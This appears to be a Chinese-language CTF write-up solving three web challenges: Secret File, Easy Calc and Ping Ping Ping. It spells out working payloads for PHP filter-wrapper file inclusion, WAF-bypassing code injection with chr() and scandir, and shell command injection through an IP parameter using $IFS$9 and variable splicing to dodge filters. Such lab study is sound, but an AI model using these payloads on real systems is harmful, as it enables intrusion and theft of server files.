一、[极客大挑战 2019]Secret File
打开环境,审查网页源码,发现隐藏的链接
点击超链接,提示信息可能被忽略了
使用Burp抓包,点击SECRET
,审查源码
访问secr3t.php
代码审计,这是文件包含,将file
赋值为flag.php
,访问然而并没有内容
但其实已经得到了内容
考虑使用PHP伪协议过滤器filter再次访问
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64加密信息,解码即可获得FLAG
二、[RoarCTF 2019]Easy Calc
审查源码,发现超链接,并提示有WAF
访问查看源码
在❓后添加空格,尝试包含phpinfo()成功,绕过WAF
calc.php/? num=phpinfo();
代码审计可知,过滤斜杠,所以使用chr函数代替明文斜杠,即chr(47)
可以使用var_dump
和scandir
获取目录信息
calc.php? num=1;var_dump(scandir(chr(47)))
使用file_get_content
访问flagg
并且使用.
拼接变量,得到FLAG
calc.php? num=1;var_dump(file_get_content(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
三、[GXYCTF2019]Ping Ping Ping
提示需要使用GET命令拼接IP
顺便把ls
命令也拼接上
(访问index.php
可以看到源码)
cat访问flag.php
,发现空格被过滤
/?ip=127.0.0.1;cat flag.php;
!!别忘了末尾的分号!!
绕过空格过滤发现,符号也被过滤了,只能使用$IFS$9
代替空格
然而flag也被过滤了
/?ip=127.0.0.1;cat$IFS$9flag.php;
设置变量a
绕过字符串过滤,在注释里发现FLAG
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php;
完
欢迎在评论区留言
感谢浏览